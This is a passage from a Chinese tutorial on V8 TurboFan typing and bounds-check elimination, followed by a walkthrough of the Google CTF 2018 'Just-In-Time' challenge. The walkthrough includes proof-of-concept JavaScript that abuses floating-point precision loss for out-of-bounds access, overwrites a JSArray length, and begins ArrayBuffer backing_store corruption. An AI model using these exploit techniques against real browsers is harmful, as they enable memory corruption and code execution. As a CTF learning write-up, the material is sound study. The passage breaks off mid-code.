    在该函数中继续调用Typer::Run函数,并在GraphReducer::ReduceGraph函数中最终调用到Typer::Visitor::Reduce函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    void Typer::Run(const NodeVector& roots,
    LoopVariableOptimizer* induction_vars) {
    // ...
    Visitor visitor(this, induction_vars);
    GraphReducer graph_reducer(zone(), graph());
    graph_reducer.AddReducer(&visitor);
    for (Node* const root : roots) graph_reducer.ReduceNode(root);
    graph_reducer.ReduceGraph();
    // ...
    }

    Typer::Visitor::Reduce函数中存在一个较大的switch结构,通过该switch结构,当Visitor遍历每个node时,即可最终调用到对应的XXXTyper函数。

    例如,对于一个JSCall结点,将在TyperPhase中最终调用到Typer::Visitor::JSCallTyper

  • 这里我们简单看一下JSCallTyper函数源码,该函数中存在一个很大的switch结构,该结构将设置每个Builtin函数结点的Type属性,即函数的返回值类型。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
    if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) {
    return Type::NonInternal();
    }
    JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction();
    if (!function.shared().HasBuiltinFunctionId()) {
    return Type::NonInternal();
    }
    switch (function.shared().builtin_function_id()) {
    case BuiltinFunctionId::kMathRandom:
    return Type::PlainNumber();
    // ...
  • 而对于一个常数NumberConstant类型,TyperPhase也会打上一个对应的类型

    1
    2
    3
    4
    5
    Type Typer::Visitor::TypeNumberConstant(Node* node) 
    // 注意这里使用的是double,这也就说明了为什么Number.MAX_SAFE_INTEGER = 9007199254740991
    double number = OpParameter<double>(node->op());
    return Type::NewConstant(number, zone());
    }

    而在Type::NewConstant函数中,我们会发现一个神奇的设计:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    Type Type::NewConstant(double value, Zone* zone) {
    // 对于一个正常的整数
    if (RangeType::IsInteger(value)) {
    // 实际上所设置的Type是一个range!
    return Range(value, value, zone);
    // 否则如果是一个异常的-0,则返回对应的MinusZero
    } else if (IsMinusZero(value)) {
    return Type::MinusZero();
    // 如果是NAN,则返回NaN
    } else if (std::isnan(value)) {
    return Type::NaN();
    }

    DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value));
    return OtherNumberConstant(value, zone);
    }

    对于JS代码中的一个NumberConstant,实际上设置的Type是一个Range,只不过这个Range的首尾范围均是该数,例如NumberConstant(3) => Range(3, 3, zone)

  • 以下这张图可以证明TyperPhase正如预期那样执行:

    img

  • 与之相应的,v8采用了SSA。因此对于一个Phi结点,它将设置该节点的Type为几个可能值的Range的并集。

    1
    2
    3
    4
    5
    6
    7
    8
    Type Typer::Visitor::TypePhi(Node* node) {
    int arity = node->op()->ValueInputCount();
    Type type = Operand(node, 0);
    for (int i = 1; i < arity; ++i) {
    type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
    }

    请看以下示例:

    img

4. SimplifiedLoweringPhase

  • SimplifiedLoweringPhase会遍历结点做一些处理,同时也会对图做一些优化操作。

    这里我们只关注该Phase优化CheckBound的细节,因为CheckBound通常是用于判断 JS数组(例如ArrayBuffer) 是否越界使用 所设置的结点。

  • 首先我们可以通过以下路径来找到优化CheckBound的目标代码:

    1
    2
    3
    4
    SimplifiedLoweringPhase::Run
    SimplifiedLowering::LowerAllNodes
    RepresentationSelector::Run
    RepresentationSelector::VisitNode

    目标代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    // Dispatching routine for visiting the node {node} with the usage {use}.
    // Depending on the operator, propagate new usage info to the inputs.
    void VisitNode(Node* node, Truncation truncation,
    SimplifiedLowering* lowering) {
    // Unconditionally eliminate unused pure nodes (only relevant if there's
    // a pure operation in between two effectful ones, where the last one
    // is unused).
    // Note: We must not do this for constants, as they are cached and we
    // would thus kill the cached {node} during lowering (i.e. replace all
    // uses with Dead), but at that point some node lowering might have
    // already taken the constant {node} from the cache (while it was in
    // a sane state still) and we would afterwards replace that use with
    // Dead as well.
    if (node->op()->ValueInputCount() > 0 &&
    node->op()->HasProperty(Operator::kPure)) {
    if (truncation.IsUnused()) return VisitUnused(node);
    }
    switch (node->opcode()) {
    // ...
    case IrOpcode::kCheckBounds: {
    const CheckParameters& p = CheckParametersOf(node->op());
    Type index_type = TypeOf(node->InputAt(0));
    Type length_type = TypeOf(node->InputAt(1));
    if (index_type.Is(Type::Integral32OrMinusZero())) {
    // Map -0 to 0, and the values in the [-2^31,-1] range to the
    // [2^31,2^32-1] range, which will be considered out-of-bounds
    // as well, because the {length_type} is limited to Unsigned31.
    VisitBinop(node, UseInfo::TruncatingWord32(),
    MachineRepresentation::kWord32);
    if (lower() && lowering->poisoning_level_ ==
    PoisoningMitigationLevel::kDontPoison) {
    // 可以看到,如果当前索引的最大值小于length的最小值,则表示当前索引的使用没有越界
    if (index_type.IsNone() || length_type.IsNone() ||
    (index_type.Min() >= 0.0 &&
    index_type.Max() < length_type.Min())) {
    // The bounds check is redundant if we already know that
    // the index is within the bounds of [0.0, length[.
    // CheckBound将会被优化
    DeferReplacement(node, node->InputAt(0));
    }
    }
    } else {
    VisitBinop(
    node,
    UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
    UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
    }
    return;
    }
    // ....
    }
    // ...
    }

    可以看到,在CheckBound的优化判断逻辑中,如果当前索引的最大值小于length的最小值,则表示当前索引的使用没有越界,此时将会移除CheckBound结点以简化IR图。

    需要注意NumberConstant结点的Type是一个Range类型,因此才会有最大值Max和最小值Min的概念。

  • 这里需要解释一下环境搭配中所说的,为什么要添加一个编译参数v8_optimized_debug = false,注意看上面判断条件中的这行条件

    1
    2
    if (lower() && lowering->poisoning_level_ ==
    PoisoningMitigationLevel::kDontPoison)

    visitNode时有三个状态,分别是Phase::PROPAGATE(信息收集)、Phase::RETYPE(从类型反馈中获取类型)以及Phase::LOWER(开始优化)。当真正开始优化时,lower()条件自然成立,因此我们无需处理这个。

    但对于下一个条件,通过动态调试可以得知,poisoning_level始终不为PoisoningMitigationLevel::kDontPoison。通过追溯lowering->poisoning_level_,我们可以发现它实际上在PipelineCompilationJob::PrepareJobImpl中被设置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl(
    Isolate* isolate) {
    // ...
    // Compute and set poisoning level.
    PoisoningMitigationLevel load_poisoning =
    PoisoningMitigationLevel::kDontPoison;
    if (FLAG_branch_load_poisoning) {
    load_poisoning = PoisoningMitigationLevel::kPoisonAll;
    } else if (FLAG_untrusted_code_mitigations) {
    load_poisoning = PoisoningMitigationLevel::kPoisonCriticalOnly;
    }
    // ...
    }

    FLAG_branch_load_poisoning始终为falseFLAG_untrusted_code_mitigations始终为true

    编译参数v8_untrusted_code_mitigations 默认 true,使得宏DISABLE_UNTRUSTED_CODE_MITIGATIONS没有被定义,因此默认设置FLAG_untrusted_code_mitigations = true

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    // v8/src/flag-definitions.h

    // 设置`FLAG_untrusted_code_mitigations`
    #ifdef DISABLE_UNTRUSTED_CODE_MITIGATIONS
    #define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS false
    #else
    #define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS true
    #endif
    DEFINE_BOOL(untrusted_code_mitigations, V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS,
    "Enable mitigations for executing untrusted code")
    #undef V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS

    // 设置`FLAG_branch_load_poisoning`
    DEFINE_BOOL(branch_load_poisoning, false, "Mask loads with branch conditions.")
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # BUILD.gn
    declare_args() {
    # ...
    # Enable mitigations for executing untrusted code.
    # 默认为true
    v8_untrusted_code_mitigations = true
    # ...
    }
    # ...
    if (!v8_untrusted_code_mitigations) {
    defines += [ "DISABLE_UNTRUSTED_CODE_MITIGATIONS" ]
    }
    # ...

    这样就会使得load_poisoning始终为PoisoningMitigationLevel::kPoisonCriticalOnly,因此始终无法执行checkBounds的优化操作。所以我们需要手动设置编译参数v8_untrusted_code_mitigations = false,以启动checkbounds的优化。

  • 以下是一个简单checkbounds优化的例子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function f(x)
    {
    const arr = new Array(1.1, 2.2, 3.3, 4.4, 5.5);
    let t = 1 + 1;
    return arr[t];
    }

    console.log(f(1));
    %OptimizeFunctionOnNextCall(f);
    console.log(f(1));

    优化前发现存在一个checkBounds:

    img

    执行完SimplifiedLoweringPhase后,CheckBounds被优化了:

    img

基础概念介绍到这里,接下来我们学习一道CTF题来练练手。

六、Google CTF 2018(final) Just-In-Time

1. 简介

Google CTF 2018(final) Just-In-Time 是 v8 的一道基础题,适合用于v8即时编译的入门,其目标是执行/usr/bin/gnome-calculator以弹出计算器。在这里我们通过这道题目来学习一下v8的相关概念。

这道题的题解在安全客上有很多,但由于这是笔者初次接触 v8 的题,因此这次我们就详细讲一下其中的细节。

2. 环境搭建

题目给的附件(ctftime中的附件,不是github上的附件)内含一个已编译好的chromium和两个patch文件。

  • nosandbox.patch : 该文件用于关闭renderer的沙箱机制。
  • addition-reducer.patch : 本题的重头戏。
  • chromium :版本号为70.0.3538.9的二进制包(已打patch)

不过由于笔者已经搭了v8的环境,因此决定采用源码编译的方式来编译出一个v8,这样的好处是可以更方便的进行调试。该题的v8版本为7.0.276.3,可以通过chrome://version来获取,或者去OmahaProxy CSV Viewer中查询。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 开代理
sudo service privoxy start
export https_proxy=http://127.0.0.1:8118
export http_proxy=http://127.0.0.1:8118
# 切换chromium版本
cd v8/
git checkout 7.0.276.3 # 如果需要force,则添加-f参数。gclient同样如此。
gclient sync # 这一步需要代理(很重要),需要N久,取决网速。

# gclient sync完成后再打个patch
git apply ../../../CTF/GoogleCTF2018_Just-In-Time/addition-reducer.patch
# 设置一下编译参数
tools/dev/v8gen.py x64.debug
# 设置允许优化checkbounds
echo "v8_untrusted_code_mitigations = false" >> out.gn/x64.debug/args.gn
# 编译
ninja -C out.gn/x64.debug

为什么要设置v8_untrusted_code_mitigations = false,请查看上面关于SimplifiedLoweringPhase中checkbounds优化的简单讲解。

这里可能是因为出题者忘记给出v8的编译参数了,否则默认的编译参数将无法利用漏洞

3. 漏洞成因

  • 新打的patch将在turboFan中的TypedLoweringPhase中添加了一种优化方式。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    Reduction DuplicateAdditionReducer::Reduce(Node* node) {
    switch (node->opcode()) {
    case IrOpcode::kNumberAdd:
    return ReduceAddition(node);
    default:
    return NoChange();
    }
    }

    Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
    DCHECK_EQ(node->op()->ControlInputCount(), 0);
    DCHECK_EQ(node->op()->EffectInputCount(), 0);
    DCHECK_EQ(node->op()->ValueInputCount(), 2);

    Node* left = NodeProperties::GetValueInput(node, 0);
    if (left->opcode() != node->opcode()) {
    return NoChange();
    }

    Node* right = NodeProperties::GetValueInput(node, 1);
    if (right->opcode() != IrOpcode::kNumberConstant) {
    return NoChange();
    }

    Node* parent_left = NodeProperties::GetValueInput(left, 0);
    Node* parent_right = NodeProperties::GetValueInput(left, 1);
    if (parent_right->opcode() != IrOpcode::kNumberConstant) {
    return NoChange();
    }

    double const1 = OpParameter<double>(right->op());
    double const2 = OpParameter<double>(parent_right->op());
    Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));

    NodeProperties::ReplaceValueInput(node, parent_left, 0);
    NodeProperties::ReplaceValueInput(node, new_const, 1);

    return Changed(node);
    }

    该优化方式将优化诸如x + 1 + 2这类的表达式为x + 3,即以下的Case4:

    img

  • 但是,还记得我们之前所提到的,NumberConstant的内部实现使用的是double类型。这就意味着这样的优化可能存在精度丢失。举个例子:

    img

    即,x + 1 + 1不一定会等于x + 2!所以这种优化是存在问题的。

  • 这是为什么呢?原因是浮点数的IEEE764标准。当一个浮点数越来越大时,有限的空间只能保留高位的数据,因此一旦浮点数的值超过某个界限时,低位数值将被舍弃,此时数值不能全部表示,存在精度丢失。

    而这个界限正是 $2^{53}-1 = 9007199254740991$,即上图中的MAX_sAFE_INTEGER

    1
    2
    3
    4
    5
    6
    // 以下是double结构的9007199254740991值,可以看到正好是double结构所能存放的最大整数。
    +------+--------------+------------------------------------------------------+‭
    | sign | exponent | fraction |
    +------+--------------+------------------------------------------------------+
    | 0 | 00000000001 | 1111111111111111111111111111111111111111111111111111‬ |
    +------+--------------+------------------------------------------------------+
  • 由于x + 1 + 1 <= x + 2,因此某个NumberAdd结点的Type,也就是其Range将会小于该结点本身的值 。例如

    • 9007199254740992 连续两次 +1 后,由于精度丢失,导致最后一个NumberAdd结点的Type为Range(9007199254740992,9007199254740992)
    • 但由于执行了patch中的优化,导致最后一个加法操作实际的结果为9007199254740994,大于Range的最大值。
    • 因此,如果使用这个结果值来访问数组的话,可能存在越界读写的问题,因为若预期index小于length的最小范围时,checkBounds结点将会被优化,此时比预期index 范围更大的 实际index 很有可能成功越界。

4. 漏洞利用

a. OOB

1) 构造POC
  • 我们先试一下POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    function f(x)
    {
    const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; // length => Range(5, 5)
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    // 此时 t => 解释/编译 Range(9007199254740989, 9007199254740992)
    t = t + 1 + 1;
    /* 此时 t =>
    解释:Range(9007199254740991, 9007199254740992)
    编译:Range(9007199254740991, 9007199254740994)
    */
    t -= 9007199254740989;
    /* 此时 t =>
    解释:Range(2, 3)
    编译:Range(2, 5)
    */
    return arr[t];
    }

    console.log(f(1));
    %OptimizeFunctionOnNextCall(f);
    console.log(f(1));

    Type后的结果如下,可以看到checkbounds的检查可以通过:

    img

    因此该checkbounds将在SimplifiedLoweringPhase中被优化:

    img

    输出的结果如下:

    注:输出结果中的DuplicateAdditionReducer::ReduceAddition Called/Success,是打patch后的输出内容,在原v8中没有该输出。

    img

    可以看到,成功将两个+1操作优化为+2,并在最末尾处成功越界读取到一个数组外的元素。

  • 这里需要说一下构建poc可能存在的问题:

    • POC1:无 if 分支

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      function f(x)
      {
      const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
      // 这里没有使用上面if xxx这样的语句,直接一个整数赋值

      // let t = Number.MAX_SAFE_INTEGER + 1;
      let t = 9007199254740992;
      t = t + 1 + 1;
      t -= 9007199254740989;
      return arr[t];
      }

      console.log(f(1));
      %OptimizeFunctionOnNextCall(f);
      console.log(f(1));

      问题点:由于函数中常数与常数相加减,因此在执行TypedLoweringPhase中的ConstantFoldingReducer时,三个算数表达式会直接优化为一个常数,这样就没办法执行DuplicateAdditionReducer

      img

      解决方法:使用一个if分支,这样就可以通过phi结点来间接设置Range

    以下是一些玄学问题。

    • POC2:使用Number.MAX_SAFE_INTEGER

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      function f(x)
      {
      const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
      let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1
      : Number.MAX_SAFE_INTEGER - 2);
      t = t + 1 + 1;
      t -= (Number.MAX_SAFE_INTEGER - 2);
      return arr[t];
      }

      console.log(f(1));
      %OptimizeFunctionOnNextCall(f);
      console.log(f(1));

      问题点:在GraphBuilderPhase中,type feedback推测目标函数的参数只会为1,因此turboFan推测函数中的条件判断式 “恒”成立 ,故在InliningPhase中优化merge结点,使得变量t始终为一个常数。

      img

      之后就执行TypedLoweringPhase中的ConstantFoldingReducer再次将其优化为一个常数,以至于无法执行DuplicateAdditionReducer优化。

      通过turbolizer我们可以看出,若判断条件为真,则将优化好的结果输出;若判断条件为假,则说明type feedback出现错误,需要执行deopt。

      img

      至于为什么先前的poc不会优化merge结点,而当前这个poc会优化merge结点,

      这个问题仍然需要进一步探索。

      解决方法

      1. 不同时在 if 语句的两个分支处使用Number.MAX_SAFE_INTEGER

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        function f(x)
        {
        const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
        let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1
        // 修改了此处
        : 9007199254740989);
        t = t + 1 + 1;
        t -= (Number.MAX_SAFE_INTEGER - 2);
        return arr[t];
        }

        console.log(f(1));
        %OptimizeFunctionOnNextCall(f);
        console.log(f(1));
      2. 在执行%OptimizeFunctionOnNextCall前,使函数调用传入的参数不单一:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        function f(x)
        {
        const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
        let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1
        : Number.MAX_SAFE_INTEGER - 2);
        t = t + 1 + 1;
        t -= (Number.MAX_SAFE_INTEGER - 2);
        return arr[t];
        }

        console.log(f(1));
        console.log(f(0)); // 添加了此行
        %OptimizeFunctionOnNextCall(f);
        console.log(f(1));
    • POC3:不使用let/var/const修饰词

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      function f(x)
      {
      // 错误:arr前没有let、var或者const
      arr = [1.1, 2.2, 3.3, 4.4, 5.5];
      // 错误:t 前没有let
      t = (x == 1 ? 9007199254740992 : 9007199254740989);
      t = t + 1 + 1;
      t -= 9007199254740989;
      return arr[t];
      }

      console.log(f(1));
      %OptimizeFunctionOnNextCall(f);
      console.log(f(1));

      问题点:经过gdb动态调试可知,若数组前没有修饰词,则CheckBounds的上一个结点LoadField结点将不会被LoadEliminationPhase优化,这样使得数组length结点的范围最大值为134217726,最后导致无法成功优化CheckBounds结点:

      img

      同时,若变量t前没有修饰词,则越界的add操作将被check出,进而设置值为inf/NaN,之后的减法就无法计算出我们所期望的Range值:

      img

      解决方法:添加修饰词。

      因为没有修饰词 let / var 的变量都是全局变量,而 Load Elimination 的优化对作用域有一定的要求,因此全局变量的 LoadField 结点将不会被优化。

    • POC4:使用整数数组

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      function f(x)
      {
      const arr = [1, 2, 3, 4, 5];
      let t = (x == 1 ? 9007199254740992 : 9007199254740989);
      t = t + 1 + 1;
      t -= 9007199254740989;
      return arr[t];
      }

      console.log(f(1));
      %OptimizeFunctionOnNextCall(f);
      console.log(f(1));

      问题点:执行console.log时崩溃:

      img

      解决方法:更改数组类型。经过一番测试,发现貌似只能改成浮点数数组,改成其他类型的输出都会崩溃

    • 小结:构造POC需要重复多次 修改代码 => 观察输出 => 从turbolizer中查看结点图 => 分析错误原因 这个过程,有时还需要给源码打patch和上gdb调试,需要耐心。

  • 构造POC时,只需要关注两个重点:

    1. 能否成功执行DuplicateAdditionReducer优化

    2. 能否成功优化CheckBounds结点。

    如果这两个条件都满足,那基本上构建出的POC可以OOB了。

2) 越界读取

POC有了,那我们试着看一下越界读取到的内存位置,

不出以外的话应该是最后一个元素5.5的下一个8位数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function f(x)
{
let arr = [1.1, 2.2, 3.3, 4.4, 5.5];
let t = (x == 1 ? 9007199254740992 : 9007199254740989) + 1 + 1;
t -= 9007199254740989;
console.log(arr[t]);
// 将arr数组详细信息输出
%DebugPrint(arr);
}

f(1);
%OptimizeFunctionOnNextCall(f);
f(1);
// 下断点,使v8在gdb中暂停
%SystemBreak();

启动GDB,可以看到 d8 自动暂停执行:

img

之后我们可以找到DebugPrint出的数组内存地址:

img

每个Object内部都有一个map,该map用于描述对应结构的相关属性。其中包括了当前Object的实例大小,以及一些供GC使用的信息。通过上面的输出,我们可以得到,当前JSArray的实例大小只有32字节。

map的具体信息请查阅源码 src/objects/map.h 中的注释。

因此,数组中的其他元素肯定存放于另一个数组,而这个数组的类型为FixedDoubleArray,其地址存放于JSArray中。

需要注意的是:v8 中的指针值大多被打上了tag,以便于区分某个值是pointer还是smi。

因此在gdb使用某个地址时,最低位需要手动置0。

以下是某个 JSArray 的内存布局:

img

注意到 JSArray中,第四个8字节数据(即上图中的0x0000000500000000)存放的是当前数组的length(5),即便数组元素并没有存放在当前这块内存上。

1
2
3
// v8/src/objects/js-array.h
// static const int v8::internal::JSObject::kHeaderSize = 24
static const int kLengthOffset = JSObject::kHeaderSize;

回到刚刚的话题,数组的值被存放在FixedDoubleArray中,因此我们输出一下内存布局看看:

img

可以看到,它越界读取到的数据与先前猜测的一致,即最后一个元素的下一个8字节数据。

同时我们还可以从 gdb 的输出中注意到,一个 JSArray的length 即在 JSArray 中保存,又在 FixedDoubleArray 中存放着,这个也可以在源码中直接定位到操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// v8/src/objects/js-array-inl.h
void JSArray::SetContent(Handle<JSArray> array,
Handle<FixedArrayBase> storage) {
EnsureCanContainElements(array, storage, storage->length(),
ALLOW_COPIED_DOUBLE_ELEMENTS);

DCHECK(
(storage->map() == array->GetReadOnlyRoots().fixed_double_array_map() &&
IsDoubleElementsKind(array->GetElementsKind())) ||
((storage->map() != array->GetReadOnlyRoots().fixed_double_array_map()) &&
(IsObjectElementsKind(array->GetElementsKind()) ||
(IsSmiElementsKind(array->GetElementsKind()) &&
Handle<FixedArray>::cast(storage)->ContainsOnlySmisOrHoles()))));
// length既保存在 JSArray 中,也保存在 FixedArrayBase里
array->set_elements(*storage);
array->set_length(Smi::FromInt(storage->length()));
}

但实际上, FixedDoubleArray 中的 length 只用于提供有关固定数组分配的信息,而越界检查只会检查 JSArray 的length,这意味着我们必须修改 JSArray 的 length 才可以进行任意地址读写

以下是检测数组访问是否越界的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// v8/src/ic/ic.cc
bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) {
uint32_t length = 0;
if (receiver->IsJSArray()) {
// 获取 JSArray 的 length
JSArray::cast(*receiver)->length()->ToArrayLength(&length);
} else if (receiver->IsString()) {
length = String::cast(*receiver)->length();
} else if (receiver->IsJSObject()) {
length = JSObject::cast(*receiver)->elements()->length();
} else {
return false;
}
// 判断是否越界
return index >= length;
}

KeyedAccessLoadMode GetLoadMode(Isolate* isolate, Handle<Object> receiver,
uint32_t index) {
// 一开始就判断越界
if (IsOutOfBoundsAccess(receiver, index)) {
// ...
}
return STANDARD_LOAD;
}

/*
函数调用栈帧:
#0 v8::internal::(anonymous namespace)::IsOutOfBoundsAccess
#1 v8::internal::(anonymous namespace)::GetLoadMode
#2 v8::internal::KeyedLoadIC::Load
#3 v8::internal::__RT_impl_Runtime_KeyedLoadIC_Miss
#4 v8::internal::Runtime_KeyedLoadIC_Miss
#5 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit
....
*/

为了验证上述内容的正确性,笔者手动用gdb修改了 JSArray 的 length,发现在 release 版本的v8下可以越界读取。但在 debug 版本下,会触发FixedArray中的DCHECK检查导致崩溃:

1
2
// v8/src/objects/fixed-array-inl.h
DCHECK(index >= 0 && index < this->length());

因此在编译 debug 版本的 v8 时,需要手动注释掉src/objects/fixed-array-inl.h 中越界检查的DCHECK

请勿直接编译 release 版本的v8来关闭DCHECK,这会大大提高调试难度。

b. 构造任意地址读写

1) JSArray 修改 length
  • 我们将 FixedArray 的内存布局输出,可以发现 JSArray 和 FixedArray 的数据是紧紧相邻的,且 FixedArray 位于低地址处,这为我们修改 JSArray 的 length 提供了一个非常好的条件:

    img

  • 现在我们可以试着越界修改一下 JSArray 的 length。需要注意我们必须越界四格才能修改到length,因此需要稍微修改一下POC越界的范围:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    function f(x)
    {
    let arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; // length => Range(7, 7)
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    // 此时 t => 解释/编译 Range(9007199254740989, 9007199254740992)
    t = t + 1 + 1;
    /* 此时 t =>
    解释:Range(9007199254740991, 9007199254740992)
    编译:Range(9007199254740991, 9007199254740994)
    */
    t -= 9007199254740990;
    /* 此时 t =>
    解释:Range(1, 2)
    编译:Range(1, 4)
    */
    t *= 2;
    /* 此时 t =>
    解释:Range(2, 4)
    编译:Range(2, 8)
    */
    t += 2;
    /* 此时 t =>
    解释:Range(4, 6)
    编译:Range(4, 10)
    */
    console.log(arr[t]);
    %DebugPrint(arr);
    }

    f(1);
    %OptimizeFunctionOnNextCall(f);
    f(1);
    %SystemBreak();

    最后输出了1.4853970537e-313,用gdb转换成int类型,刚好为7,这就意味着我们现在可以修改 JSArray 的 length 了。

    试一试:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    var oob_arr = [];
    function opt_me(x)
    {
    oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    // 将 smi(1024) 写入至 JSArray 的 length处
    oob_arr[t] = 2.1729236899484389e-311; // 1024.f2smi
    }
    // 尝试优化
    for(let i = 0; i < 0x10000; i++)
    opt_me(1);
    // 试着越界读取一下
    console.log(oob_arr.length);
    console.log(oob_arr[100]);
    %SystemBreak();

    可以发现,越界读写成功

    img

    在附件chromium中试试发现也是可以正常工作的:

    img

    但我们发现 v8 和 chromium 输出的值不一样,所以调试 d8 编写 JS 后还需要到 chromium 这边验证一下。

    这里有个注意点,在被turboFan优化过的函数中读写数组,其越界判断不会通过我们所熟知的Runtime_KeyedLoadIC_Miss函数,因此越界操作最好在被优化的函数外部执行。

  • 现在我们已经成功让 JSArray 实现大范围向后越界读取,但这明显不够,因为 JSArray 只能向后越界读写 0x40000000字节,有范围限制。

    1
    2
    3
    4
    5
    6
    // v8/src/objects/fixed-array.h
    #ifdef V8_HOST_ARCH_32_BIT
    static const int kMaxSize = 512 * MB;
    #else
    static const int kMaxSize = 1024 * MB;
    #endif // V8_HOST_ARCH_32_BIT

    看样子我们可以再次声明一个 JSArray ,然后越界修改其 elements 地址以达到任意地址读写的目的?实际上是不行的,因为每一个 element 都有其对应的 map 指针,如果我们要通过修改 elements 地址来进行任意读的话,我们还必须在目标地址手动伪造一个 fake map,但通常我们是没有办法来伪造的。

    因此接下来我们将引入漏洞利用中比较常用的类型:ArrayBuffer

2) ArrayBuffer
  • ArrayBuffer是漏洞利用中比较常见的一个对象,这个对象用于表示通用的、固定长度的原始二进制数据缓冲区。通常我们不能直接操作ArrayBuffer的内容,而是要通过类型数组对象(JSTypedArray)或者DataView对象来操作,它们会将缓冲区中的数据表示为特定的格式,并且通过这些格式来读写缓冲区的内容。
    img

    而 ArrayBuffer中的缓冲区内存,就是 v8 中 JSArrayBuffer 对象中的 backing_store

  • 需要注意的是,ArrayBuffer 自身也有 element。这个 element 和 backing_store 不是同一个东西:element 是一个 JSObject,而 backing_store 只是单单一块堆内存。 因此,单单修改 element 或 backing_store 里的数据都不会影响到另一个位置的数据。

    以下是一个简单的 JS 测试代码:

    1
    2
    3
    4
    5
    6
    buffer = new ArrayBuffer(0x400);
    int = new Int32Array(buffer);
    int[2] = 1024;
    buffer[1] = 0x200;
    %DebugPrint(buffer);
    %SystemBreak();

    浏览器中输出的结果:

    img

    gdb中输出的地址信息:

    img

  • 我们可以很容易的推测出,那些 JSTypedArray 读写的都是 ArrayBuffer 的 backing_store,因此如果我们可以任意修改 ArrayBuffer 的 backing_store,那么就可以通过 JSTypedArray 进行任意地址读写。

    JSTypedArray 包括但不限于 DataView、Int32Array、Int64Array、Float32Array、Float64Array 等等。

    笔者将在下面使用DataView对象来对 ArrayBuffer 的 backing_store 进行读写。为了证明 DataView 修改的确实是 ArrayBuffer 中 backing_store 指向的那块堆内存,笔者找到其对应的代码:

    注:以下代码来自v8/src/builtins/data-view.tq,代码语言为V8 Torque。该语言的语法类似于TypeScript,其设计目的在于更方便的表示高级的、语义丰富的V8实现。Torque编译器使用CodeStubAssembler将这些片断转换为高效的汇编代码。

    更多关于该语言的信息请查阅 V8 Torque user manual

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    // v8/src/builtins/data-view.tq
    javascript builtin DataViewPrototypeSetFloat64(
    context: Context, receiver: Object, ...arguments): Object {
    let offset: Object = arguments.length > 0 ?
